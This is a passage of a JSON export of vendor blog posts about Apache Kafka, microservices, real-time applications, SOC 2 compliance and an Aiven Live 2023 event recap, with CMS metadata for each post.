triggering new elections for which broker is the leader of a partition), but it doesn’t come out of the box with a handy web interface for administration. Instead, there is Apache Kafka's [Admin API](https://kafka.apache.org/documentation.html#adminapi), along with a Java client library and a set of command-line scripts to help call the API for a variety of management tasks.\n\nIf you have downloaded Kafka from the Apache website, look in the “bin/” directory for useful shell scripts to cover a whole variety of administration tasks.\n\n## Observability and Apache Kafka\n\nApache Kafka is notoriously tricky to manage at scale, due to needing various configs to be tuned to cope with the potentially massive volumes of data flowing across its topics and all of those data being written to disk. Without good insight into Kafka’s internals, knowing which dials to tune would be impossible and operators would be relying on blind luck to keep Kafka running smoothly. The Java ecosystem provides a standard interface for exposing metrics about the internals of an application, JMX, and Kafka uses JMX to expose a whole host of useful information about what is going on.\n\nIt is common practice to ingest metrics from Apache Kafka into a time-series database (for example M3) and use a visualization tool like Grafana to watch trends over time.\n\n## Kafka and data safety\nKafka doesn’t really do data backups, because the data it contains is by nature ephemeral. So if a cluster drops offline, how can you be sure that nothing gets interrupted or lost?\n\nThe answer to this is replication, and Apache Kafka has its own replication tool, MirrorMaker 2. There are [many reasons to use MirrorMaker 2](https://aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2) but keeping your data safe is perhaps the most important. Think of MirrorMaker as analogous to a special Kafka Connect setup, where the source and the sink are each attached to different Kafka brokers. MirrorMaker is really just a consumer, pulling messages from a Kafka topic, and a producer sending those messages immediately onto another Kafka topic (usually on a different broker). Because Kafka consumers can let Kafka store their offset state, MirrorMaker offers a completely stand-alone way to shovel messages between two independent Kafka brokers. It is common to use this to create a “backup” Kafka cluster, often in a completely different location, without any impact on the “main” Kafka cluster.\n## Data is power\nStreaming architectures like those typically involving Apache Kafka have access to an absolutely massive amount of data. It’s easy to start thinking of data as disposable at best, and as cumbersome at worst. But the truth is, data is, or can be, the most valuable asset you own.\n\nYou can slice it and dice it to examine more closely how your services are used and how they perform. Monitoring, scaling, visitor behavior, security, automation… There are [so many things that your data can do](https://aiven.io/blog/easy-real-time-streaming-insights).\n\n## Setting up and managing Kafka isn’t simple\nApache Kafka works incredibly well at all sizes, whether your deployment is small or huge. You should always have at least three brokers, so that if one fails there is still a majority of brokers available to handle the workload. However, this flexibility comes at a cost: it needs to be carefully tuned to work optimally at a given scale.\n\nEven if you use a managed platform like Aiven for Apache Kafka, there are still decisions to be made from the client side:\n\n- How will the topics be used?\n- How many partitions per topic?\n- How many replicas?\n- What retention period to use?\n- What compaction policy fits the use case?\n\nGetting these decisions right can be critical, as some of them are not easy to change at a later date without a fair amount of upset to the clients. E.g. increasing or decreasing the number of partitions in a topic will change the key-to-partition distribution (and hence the ordering guarantees), but having too many partitions for a given broker size will have an impact on maximum throughput. Testing under production-level loads, including failure scenarios and on-the-fly operational changes, is critical to having a suitably-tuned setup.\n\n## Some words about orchestration and automation\nTo make the configuration, management and coordination of complex systems (like any system that includes Apache Kafka) easier, you can implement an orchestration system. Orchestration tools like [Kubernetes](https://aiven.io/docs/tools/kubernetes.html) can be set up to automatically perform multi-stage processes. This helps you to streamline and optimize workflows that need to be performed regularly and/or repeatedly. All you need is to be running in containers.\n\nOn a related but different note, [Terraform](https://aiven.io/docs/tools/terraform/index.html) allows you to define your infrastructure as code, which makes it easier to provision and manage. You specify the configuration, Terraform takes care of the dependencies and networking.\n\nTo find out more about both tools and what they do, read our [Kubernetes vs Terraform](https://aiven.io/blog/kubernetes-vs-terraform) blog article.\n\n## Getting started with Apache Kafka on Aiven\nWhat’s the benefit of using a managed Kafka with the same provider’s managed DBaaS? For one thing, multi-service pipelines are easy to build and manage.\n\n[Aiven for Apache Kafka](https://aiven.io/kafka) is at your service.\n\nHave a poke around [Aiven's developer documentation](https://aiven.io/docs/products/kafka/index.html) to take your first steps in the Kafka world, or [sign up for a free trial](https://console.aiven.io/signup) and start playing around.\n\n\n\u003c!-- Orchestration\nTerraform, Kubernetes --\u003e\n\n## Further reading\n\n- [Kafka users and access control](https://aiven.io/blog/kafka-users-and-access-control)\n\n","categories":[{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"alt":"","asset":{"_ref":"image-c536900cc26fcce9a13b096cd8a2e2a1076d33c7-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-09T00:00:00.000Z","related":[{"_key":"854bd81b80a7","_ref":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_type":"reference"},{"_key":"91acd73e1205","_ref":"3tNJVcx9wrILzuyGlZQdYc","_type":"reference"}],"seo":{"_type":"metaData","canonicalUrl":"/developer/what-is-apache-kafka","excludeFromSitemap":true,"metaDescription":"Have you ever been confused by all this talk about kafkas and streaming? Get the basics in this post full of information and resources.","metaImage":{"alt":"","asset":{"_ref":"image-c536900cc26fcce9a13b096cd8a2e2a1076d33c7-1567x844-png","_type":"reference"}},"metaTitle":"What is Apache Kafka®? | Everything you need to know for Kafka"},"slug":{"_type":"slug","current":"/blog/what-is-apache-kafka"},"subtitle":"Have you ever been confused by all this talk about kafkas and streaming? Get the basics in this post full of information and resources.","title":"What is Apache Kafka®?"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"FwHuttZT2pzKRzfZgICHq","_rev":"LX2G4IZzKdBcRydHgUmS0L","_type":"post","_updatedAt":"2023-07-26T10:21:22Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Aiven officially achieved SOC 2 compliance this October 2019. Developed by the American Institute of Certified Public Accountants (AICPA), SOC 2 requires that companies have the policies, procedures, and guidelines in place to ensure the security, availability, processing integrity, and privacy of customer data.\n\nExternally verified SOC 2 compliance ensures that your providers meet this standard and securely manage and protect your data. Along with [ISO 27001:2013 certification](https://aiven.io/blog/aiven-earns-iso-27001-certification), which Aiven also holds, SOC 2 attestation leverages 3rd- party verification of Aiven’s information security posture, policies and processes. \n\n“Both SOC 2 and ISO 27001 require supplier management to ensure the whole chain meets the security demands expected by the end customer, and we're happy to be able to showcase that we can meet these best-of-industry security standards. ” says Heikki Nousiainen, Chief Technology Officer at Aiven. \n\nWhile not always a hard requirement for SaaS and cloud computing vendors, both our SOC 2 attestation and ISO27001:2013 certification are key pillars for establishing customer trust and helping them meet their own compliance requirements for using us for their production systems.\n\n#### Wrapping up\n\nSOC 2 compliance ensures that Aiven can meet the strictest trust requirements of our customers, thereby simplifying procurement and onboarding processes. But SOC 2 attributes cannot easily be baked-in after the fact; they are always best built-in from the beginning. \n\n“It’s good to know that, since Information Security has always been a strategic asset for Aiven, we’ve always been building our services with this as one of our primary value propositions,” Heikki says.\n\n\nTo stay up to date on the latest developments from Aiven follow our [blog](/blog/feed.xml) or [changelog](/changelog/feed.xml) RSS feeds; or, follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up to date with Aiven.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2mBcgNf20QQ0rW0XtSjzVs","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-67daf8178899e32a63ab98a978f17476cc978688-752x405-png","_type":"reference"}},"publishedAt":"2019-10-10T00:00:00.000Z","seo":{"metaDescription":"By achieving SOC 2 status, Aiven further demonstrates dedication to data assurance. Learn more about why this important in our latest post.","metaImage":{"alt":"","asset":{"_ref":"image-67daf8178899e32a63ab98a978f17476cc978688-752x405-png","_type":"reference"}},"metaTitle":"Aiven adds SOC 2 to list of security standards"},"slug":{"_type":"slug","current":"/blog/aiven-adds-soc2-to-list-of-security-standards"},"subtitle":"By achieving SOC 2 status, Aiven further demonstrates dedication to data assurance. Learn more about why this important in our latest post.","title":"Aiven adds SOC 2 to list of security standards"}
{"__i18n_lang":"en","_createdAt":"2023-12-14T05:56:08Z","_id":"8eb7b659-d740-401e-a5b3-14c1dc21e885","_rev":"T130WEs22RB6SoEkOC6bcs","_type":"post","_updatedAt":"2024-11-19T11:43:49Z","authors":[{"_key":"cb651304067a","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"“I love open source, but the community is even more important,” pronounced Heikki Nousiainen, Field CTO and Co-Founder, Aiven, in his opening address at Aiven Live 2023. “It's the community that enables us to experiment, innovate, pollinate ideas and inspire us with new ways of doing things.”\n\n![Aiven Live Heikki on stage](https://cdn.sanity.io/images/sczeoy4w/production/faebe15375f989ffde752ced24be64a99a5580e1-6000x4000.jpg)\n\nThis theme of innovation set the scene for a day where industry influencers, technologists, strategists, developers and end-users, including [GigaOm](https://gigaom.com/), [Revenir](https://www.revenir.ai), [Hookdeck](https://hookdeck.com/), [Dojo](https://dojo.tech/) and [Doccla](https://www.doccla.com/), talked about how [open source data platforms](https://aiven.io/platform) are unlocking business value, and, critically, how data platform thinking is changing the way we do things.\n\nBased on the knowledge sharing, ideas exchanges and conversations, here are my five big takeaways from the day.\n\n## 1. The industry influencer’s observations: What is the problem we are trying to solve?\n\nJon Collins, Vice President of Engagement and Senior Analyst at GigaOm, gave a keynote presentation on \"The Day 1-2-3 of Data Platforms.\" He discussed the challenges and opportunities of the current data landscape, and how organizations can use technology platforms to deliver business value.\n\nCollins began by referencing the proliferation of different technologies and the challenges of managing a multi-cloud, multi-everything world when both legacy and emerging technologies must work together. How over the past decade we’ve seen a move towards cloud-based models and cloud native technologies, giving plenty of options for innovation but also creating technology fragmentation, complexity, operational overheads and increased risk.  \n\n![Aiven Live Heikki on stage](https://cdn.sanity.io/images/sczeoy4w/production/2162d369604948f9e195f20c34b0dcd6899d2d8a-6000x4000.jpg)\n\nHe examined the trend towards FinOps, arguing that FinOps is an indication of cost overruns and that multi-cloud architectures are having to be managed alongside on-premise environments, adding to the complexity of managing IT costs. He argued that we need to move away from a fragmented approach and towards technology platforms, that is integrated layers of technology that can be built, deployed and managed as a whole, in-house or by a third party.  This strategy will dictate the skills required in-house, plus processes and policies for procurement, deployment and operations. However, most companies don’t want or need to be experts in infrastructure and data, so third parties can offer real value here.\n\nCollins concluded that technology platforms can be the basis for real innovation and can be efficient and effective right out of the box. And that the real winners in the AI space will be the data management companies, who are the experts in, well, data. But the focus should always start and end with “what is the problem we are trying to solve?”\n\n## 2. The end user customer perspective. Can a data platform drive innovation?\n \nThree of our customers, Brian Wagner, CTO at Revenir, a London-based fintech handling VAT repayments; Phil Leggeter, Head of DevRel \u0026 PLG at Hookdeck, an event gateway provider; and Sandeep Mehta, Engineering Lead, Data Platforms at Dojo, a card payment fintech, shared their insights on the theme:  How can a data platform drive innovation?\n \nThey all talked to how the pressure to drive innovation rests on doing more with less. This has meant leaning in to address cost and performance optimization, multi-cloud operations and self-service data solutions.\n\n![Aiven Live Customer Panel on stage 2](https://cdn.sanity.io/images/sczeoy4w/production/12127c68c1bdbb1ca66e6168adba1de9c139a9f8-5845x3897.jpg)\n \nRevenir began with cost optimization is always on their mind — calculating everything down to the cost of a single transaction, and how, for example, Aiven for Apache Kafka helps reduce costs. Leggeter really delved into how the company’s focus must be solely on its IP, citing: “… that’s where our value lies. If we were managing the infrastructure entirely ourselves, we wouldn’t be focusing on this value. We use Aiven to optimise performance and cost.” Dojo’s focus is steely on growth. However, Mehta talked about how important it is they’re not locked into one vendor, as they like to experiment themselves, and how the Aiven streaming platform was the right choice “…it was easy to adopt, it’s very close to open source, it has the ability to work with data coming in from multiple source and cloud environments, and we can lay down the foundation to scale without fear of lock in.\"\n \nOn the subject of cloud partnerships with the hyperscalers, while many are not quite multi-cloud yet, there was a unified voice that being able to choose technologies and solutions that work across many clouds will be paramount. This is also essential for Revenir, working with highly regulated banks who require multi-vendor, multi-cloud strategies.\n \nWhile our guest panellists all talked about how data is core to the success of their operations, it is not their IP and so having a managed service to deliver this is essential for them to focus on delivering customer value.\n \n## 3. The cloud view. How collaboration with hyperscalers and ecosystems ensures everything ‘just works’\n \nKeeping the cloud and partnership thread going, Elena Zykova, VP of OEM and Partnerships, Aiven, kicked off her session by stating: “Our partner strategy starts with our customers.  There are so many technologies out there and businesses need to find the right ones. We want to build meaningful connections with those who see the world the same way we do.”\n\n![Aiven Live Elena on stage](https://cdn.sanity.io/images/sczeoy4w/production/3e7788f4110b896e99d938674d1636e12ef9dca3-6408x4272.jpg)\n \nAiven’s partner strategy is based on understanding the tech ecosystem our customers are in.  We build these partnerships to help our customers become more efficient both architecturally and business-process wise and help relevant partners on their cloud migration journey to help them meet their digital transformation goals.  Through these partnerships we help customers reduce time on migration and realize accelerated time to value. We want to make managing a customer’s data estate easy. And through our partnerships we give customers the freedom to move between the clouds, whether for workload, compliance or regulatory reasons, and thrive in a multi-cloud world or within their own cloud environments (BYOC).\n \nHow we make cloud migrations and integrations simpler is best summed up here: “Aiven’s expertise and customer focus were key in simplifying the migrations of our critical workloads to AWS and help our teams drive continuous innovation,”  said Andreas Hankel, CTO Idealo. \n \nIn summary, Zykova synthesised Aiven’s value though ‘decreasing the noise, increasing meaningful connections with other vendors, delivering one coherent message, and leaving more time for customers to focus on their own business. We want to make sure everything just works.’\n\n## 4. The developer’s lens.  Accelerating Generative AI development — but not doing it solo\n \nDelivered by Francesco Tisiot, Staff Developer Advocate and data aficionado at Aiven, Tisiot honed in on the risks associated with embracing Generative AI and how an integrated data platform can accelerate a safe adoption.  According to OpenAI, 92% of Fortune 500 companies have used generative AI ­­– but Francesco explained that most don’t want to do this by themselves. \n \nGenerative AI is being embraced to solve real problems and create better content, but Tisiot asked if Generative AI is perfect? “No, but it’s really good. And it’s only as good as the questions we ask relating to existing data sets. Public data is not enough anymore. We need to spend time focusing on which data assets are relevant to the type of interaction we want from public and private data.”\n\n![Aiven Live Francesco on stage](https://cdn.sanity.io/images/sczeoy4w/production/12db39ccc8d33b18cfffb088a0746e5ce0a20f32-4032x3024.jpg)\n \nBut, Tisiot cautioned that cutting and pasting data into the right set simply won’t work.   With Generative AI applications relying on private, regulated, or commercially valuable data, feeding the model with the right information is crucial. Failure could result in adverse consequences such as poor performance, confidential information exposure or regulatory requirement breaches. We need to have the right tools to collect the right data and remove all the data we can’t expose to AI. And we must harvest data to organise it in real time and to build trust.\n \nIn reality this requires a lot of skills and navigating complexity. But this, Tisiot explained, is also where Aiven shines in the Generative AI space. Through one, integrated data platform, companies can pick and choose the tools they use to accelerate the development of generative AI applications by providing real-time data feeds, consolidating inputs from different sources, and defining clear information boundaries.  \n \n## 5. The industry picture: A data-driven journey to better patient care – the power of the open source community\n \nMatthew Huxtable, Staff Platform Engineer at Doccla talked about the organization’s ambition to become Europe’s largest virtual hospital ward. Harnessing open source technology and Aiven's data platform services, this ambitious company is in a constant state of innovation and expansion, all with the core goal of empowering patients to achieve better health and wellbeing.\n\n![Aiven Live Doccla on stage](https://cdn.sanity.io/images/sczeoy4w/production/42acfe601ed90a9ab106226523715e0026851e4c-2048x1365.jpg)\n \n“We have really gone in on software automation to provide the best care at the best possible price,” said Huxtable.  Talking about the regulatory, data sovereignty and scaling challenges Doccla faces, he spoke of the power of the open source community and also why as a small team, simply doing everything themselves doesn’t make business sense. “We are an open source friendly company and value this environment where I can contribute back to the community.”  But he doesn’t want to build and run critical database infrastructure being a team of one, referencing how Aiven’s platform and service has given him the flexibility and knowledge to scale but with commodity software.\n \nIf you would like to discuss any of my take-aways or customer stories, or if you're interested in learning more about how open source data platforms can help you achieve your business goals, please do get in touch with me [here](https://www.linkedin.com/in/florian-k-engel-76849b12b/).\n","categories":[{"_key":"5c78735c5b3a","_ref":"a152ffa7-46aa-4ce7-9cb5-1c270d161c88","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Live London, Aiven Live, ","asset":{"_ref":"image-b4f5860ee57f56040aad0c8ee849ccee8befd032-1200x628-png","_type":"reference"}},"publishedAt":"2023-12-14T07:13:00.000Z","related":[{"_key":"a8a1366b5d13","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"},{"_key":"01f7118b03ed","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"be85c2f28b9a","_ref":"77f254fc-fc3a-4fc6-9592-a4a2530c36b6","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Catch up on Aiven Live 2023 in London! Explore key takeaways, insights, and the latest open-source advancements from our event.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-b4f5860ee57f56040aad0c8ee849ccee8befd032-1200x628-png","_type":"reference"}},"metaTitle":"Key Takeaways from Aiven Live 2023 in London | Get Informed"},"slug":{"_type":"slug","current":"/blog/aiven-live-london-2023-recap"},"subtitle":"My Top Five Takeaways from Aiven Live, by Florian Engel, Director of Customer \u0026 Content Marketing","title":"Open Source Data Platforms: From Handling VAT Repayments in Real-Time to Creating Europe’s Largest Virtual Hospital Ward"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1lXo1w2g8BTdPN9kxrvRFI","_rev":"Y6NNh6Ue45iOdNdcwAKi1z","_type":"post","_updatedAt":"2024-07-05T08:55:44Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"When you’re setting up a [microservice](https://en.wikipedia.org/wiki/Microservices \"Wikipedia article on microservices\") architecture, one of your first major decisions is whether to have the services communicate directly with each other, or whether to use a broker system. Since the [broker](https://aiven.io/blog/broker-communication-in-kafka-2-7-and-beyond \"Broker communication in Kafka after ZooKeeper | Aiven blog\") model is more flexible and failure-resistant, it’s likely you’ve more or less decided to choose that. However, you may be concerned that the broker will become a bottleneck in the system if traffic is heavy. \n\nAllow me to set your mind at ease by introducing you to [Apache Kafka](https://aiven.io/docs/products/kafka/concepts), a distributed, partitioned commit log service that acts as a messaging system but with a flair all its own. Developed at LinkedIn to ingest event data, Kafka is designed to collect, hold and dispense enormous amounts of data.\n\n## Kafka-centric microservice architecture\nApache Kafka aims to solve the scaling and reliability issues that hold older messaging queues back. A Kafka-centric microservice architecture refers to an application setup where microservices communicate with each other using Kafka as an intermediary.\n\nThis is made possible with Kafka’s publish-subscribe model for handling the writing and reading of records. The publish-subscribe model (pub-sub) is a communication method where the sender merely sends events — whenever there are events to be sent— and each receiver chooses, asynchronously, which events to receive.\n\nKafka-centric microservice architectures are often more scalable, reliable, and secure than traditional monolithic application architectures — where one big database is used to store everything in an application.\n\nLet’s take a brief look at why Kafka is a particularly good choice for microservices.\n## Why use Kafka at the heart of your microservice architecture\n### 1. The Kafka ecosystem\nApache Kafka is designed for easy connectivity to a number of open-source systems, and the ecosystem grows year by year. We’d go so far as to say Kafka is at its best when paired with stuff like analytic engines or search systems. \nWith [Kafka Connect](https://aiven.io/kafka-connect \"Link to Aiven for Apache Kafka Connect\"), you can easily plug Kafka into other data systems, allowing data streams to flow with low latency for consumption or further processing. This way you can expand your architecture to a whole open-source ecosystem of ready-made connectors to various services, almost all of them free.\n### 2. Integration to existing systems\nChoosing Apache Kafka doesn’t mean throwing out everything you’ve set up before. Combining Kafka with other systems also applies to your existing ones. \n\nYou can use Kafka to transport either all of your data, or only a subset, to legacy systems to ensure backwards compatibility or to ensure that you can still use systems you’ve invested in previously.\n### 3. Fault tolerance and scaling through clustering\nKafka’s clustered design makes it very fault-tolerant and scalable. When message load increases or the number of Kafka consumers changes, Kafka will automatically rebalance the processing load between the consumers. To increase throughput and scale up your services, just add nodes.\n\nNote also that this removes the need for any external High Availability arrangements.\n### 4. Advanced access control\nThe data you process may go to different endpoints, but with Kafka you can manage access to it through one centralized mechanism. Producers and consumers are configured to write to and read from only specified queues. This acts as an efficient access control mechanism, without your having to build a separate authentication structure on top.\n\nYou can improve your system’s security by using ACLs to restrict access to business-critical or classified parts. At the same time, though, you can empower people by giving them access to data that they may not otherwise ever see. For example, data scientists could use error reporting and website analytics to analyse their impact on customer satisfaction.\n### 5. Store and process any content\nKafka doesn’t care what the messages it stores contain, so you can use it for any type of content. This means that when your business needs change, you have the freedom to add any types of producers and consumers into the mix. Your business can grow and diversify without further infrastructure investments into service data processing.\n\n## Wrapping up\nThe robust and expandable Apache Kafka is, in our humble opinion, the best choice for most use cases involving microservices. It’s true that it’s notoriously complex and the learning curve can be steep before you have people qualified to maintain it. So why not consider getting a managed solution? [Aiven offers a free 30-day trial of Kafka as a service](https://aiven.io/kafka \"Link to Aiven for Apache Kafka\"), full-featured and easy to take into use. Why not give it a spin?\n\n::banner[We've got what you need. Everything you always wanted to know about Apache Kafka but were afraid to ask.]{ctaText=\"Get our free ebook\" ctaLink=\"https://aiven.io/ebook/apache-kafka-for-tech-leaders\" title=\"Want to know more about Apache Kafka®?\" theme=\"dark\"}\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further Reading\n\n- [Kafka users and access control](https://aiven.io/blog/kafka-users-and-access-control)\n\n- [What is Apache Kafka®?](https://aiven.io/blog/what-is-apache-kafka)","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-2be8db3d6708a5cf49b938420ff8c286af3460c7-1567x844-jpg","_type":"reference"}},"publishedAt":"2020-12-17T00:00:00.000Z","seo":{"metaDescription":"Microservices are the most flexible way to provide an online service today. Find out why Apache Kafka is a good choice when microservices are on the line.","metaImage":{"alt":"","asset":{"_ref":"image-2be8db3d6708a5cf49b938420ff8c286af3460c7-1567x844-jpg","_type":"reference"}},"metaTitle":"5 benefits of an Apache Kafka®-centric microservice architecture"},"slug":{"_type":"slug","current":"/blog/5-benefits-of-a-kafka-centric-microservice-architecture"},"subtitle":"Microservices are the most flexible way to provide an online service today. Find out why Apache Kafka is a good choice when microservices are on the line.","title":"5 benefits of an Apache Kafka®-centric microservice architecture"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"34e4AS57ThEMU7hZcxvGA3","_rev":"JgIs2qI3CUllaKCG3TxsIj","_type":"post","_updatedAt":"2023-08-25T12:20:16Z","authors":[{"_key":"3djUG8boecQVsBzgbh9hC3","_ref":"3djUG8boecQVsBzgbh9hC3","_type":"reference"}],"body":"A real-time application is a program that sends data to the user in what is perceived to be real-time. These apps underpin nearly every aspect of our daily lives — from consumer apps that allow us to order and track a ride to business apps that let us collaborate in real-time.\n\nWhen you see exactly where your Uber driver is after requesting a ride, you’re using a real-time app. When you’re collaborating within a Google Doc, you guessed it — real-time app.\n\nThe teams behind these applications are made up of some of the best engineers in the world; but, they are only one piece of the puzzle. To succeed and pull ahead of the competition, you need to combine talent with carefully selected, innovative technology, and best practices.\n\nFrom architecture choices and technology considerations to data governance, let’s look at five key requirements when building best-in-class real-time applications in greater detail.\n\n## Requirements for building successful real-time applications\n\n### 1. Use a microservice architecture\n\nReal-time apps most commonly run within a [microservices](/blog/how-are-your-microservices-talking) architecture, a software development method where apps are structured as loosely coupled services. This is common practice for good reason — the architecture is more flexible, scalable, and reliable than a [monolithic](https://www.mulesoft.com/resources/api/microservices-vs-monolithic) one.\n\nMicroservice architectures provide greater speed and scale for several reasons. For instance, you can more easily add, configure, and remove components with little to no downstream impact because they aren’t delivered as part of a single, logical executable.\n\nBut, every architecture comes with potential trade-offs — such as latency for microservices. This can be mitigated by making sound architectural choices and choosing the appropriate communications model and technology, such as publish-subscribe and Apache Kafka.\n\n### 2. Utilize an open source data streaming platform\n\nTo zero in on real-time data and translate it into business value, [Apache Kafka](https://aiven.io/blog/what-is-apache-kafka) is an infrastructure must-have due to its low latency, scalability, and fault-tolerance. Kafka acts as the central communication hub for your microservices, thereby simplifying your application.\n\nKafka enables real-time stream processing through the [Kafka Streams API](https://kafka.apache.org/documentation/streams/), giving you the ability to transform and enrich your data through complex aggregations or joins of input streams on a per-record basis with millisecond latency onto an output stream of processed data.\n\nApache Kafka also has a diverse ecosystem of [connectors](/kafka-connect) that allow you to quickly connect Kafka to other systems like databases, file systems, search indexes, and key-value stores.\n\nBut, there’s a catch — Kafka can be notoriously difficult to manage. Many users who initially deploy and self-manage Kafka clusters begin to experience a lot of headaches as they scale. Often, they reach a point where they avoid updating their clusters for fear of the downstream impact.\n\nThat’s why we recommend using a managed Kafka service like [Aiven for Apache Kafka.](/kafka) A good managed service allows you to deploy clusters immediately in the cloud and region of your choice while also handling the nasty bits of management, such as when a node goes down.\n\n### 3. Use self-healing nodes\n\nTime spent babysitting your real-time app’s underlying data infrastructure is time not spent on building, deploying, and refining the app itself. Therefore, your team needs to be able to create Kafka clusters on demand without worrying about unhealthy nodes and surprise downtime.\n\nStarting from zero? A managed Kafka service removes the inherent difficulty of setting up a self-hosted Kafka server. Already set up but struggling to scale? A good managed services will ensure high availability and security, as well as mitigate the unexpected costs from undetected failures.\n\nA managed service takes care of countless mundane tasks such as replacing nodes when they go down (they will) and applying any patches/updates required for running the cluster within preselected maintenance windows.  \n\n### 4. Don’t forget about observability\n\nObservability is a double-edged sword. You need to know that both your Kafka service and the data flowing through it are healthy. Aiven for Kafka provides free metrics and logging integrations for real-time, fine-grain performance and security insights out of the box. \n\nOn the other side, what does it mean to know if you have “healthy data”? Kafka is still a black box; an expanse that only grows as teams go remote and work in physical silos. To get a full overview of your app health, teams need a purpose-built workspace for their data operations. \n\n[Lenses.io](https://lenses.io/) workspaces give you full data visibility from all angles. A Lenses workspace allows nearly anyone across the business that speaks [SQL](https://lenses.io/product/sql/) to troubleshoot a problem on a streaming application within minutes, rather than waiting a few days or weeks to free up a Kafka wizard. \n\nLenses.io is fully compatible with Aiven for Kafka. This means teams can get a fully managed service that seamlessly and efficiently snaps into the foundation of their streaming apps, and then peer into their data pipelines and orchestrate access across teams as they scale.\n\n### 5. Built-in data governance\n\nMature governance practices lead to great real-time applications. An enterprise framework and features for governance help secure sensitive data and give your teams the ability to go to market faster with data-dependent experiences and app features.\n\nTo scale a Kafka project across your business, it is best to visually represent data governance controls in a UI for non-engineers. This is particularly useful in helping executive stakeholders to speed up their seal of approval and avoid any slowdowns for mission-critical app teams.\n\nGovernance tools need to be in place before disaster strikes to reduce potential downtime. You can try removing dependencies from your relatively small team, but you run the risk of downtime as they prioritize building monitoring and auditing features. Manual configuration sure is difficult!\n\nLenses lets teams secure and audit data in any Kafka environment, create role-based groups, and set up data policies that automatically detect and redact metadata across real-time apps. Being able to see the trail of all actions across users gives decision-makers the confidence to open up their data platform across the business.\n\n## Aiven and Lenses.io\n\n[Lenses](https://lenses.io/) and Aiven have partnered to provide a full-spectrum, unified Kafka solution to ensure real-time apps make it to production in highly regulated environments and give them the best chance of success on the [high, often turbulent seas of innovation.](https://lenses.io/customers/marine-traffic/) \n\nWhen it comes to your application layer, you can trust [Lenses](https://lenses.io/why-lenses/) to make app teams more efficient and productive. And when it comes to the stability and reliability of your infrastructure, you can trust [Aiven](/) to manage your Kafka deployments and assorted open-source data infrastructure.","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-45f179709405cd1f72a6696b881d905a1da3a462-1567x844-png","_type":"reference"}},"publishedAt":"2020-08-05T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Olivier de Garrigues from Lenses.io outlines what engineering teams should consider when building and launching real-time apps in our world of fast innovation.","metaImage":{"alt":"","asset":{"_ref":"image-45f179709405cd1f72a6696b881d905a1da3a462-1567x844-png","_type":"reference"}},"metaTitle":"Building High-Performance Real-Time Apps: Key Requirements"},"slug":{"_type":"slug","current":"/blog/the-top-requirements-for-building-performant-real-time-applications"},"subtitle":"Olivier de Garrigues from Lenses.io outlines what engineering teams should consider when building and launching real-time apps in our world of fast innovation.","title":"The top requirements for building performant real-time applications"}
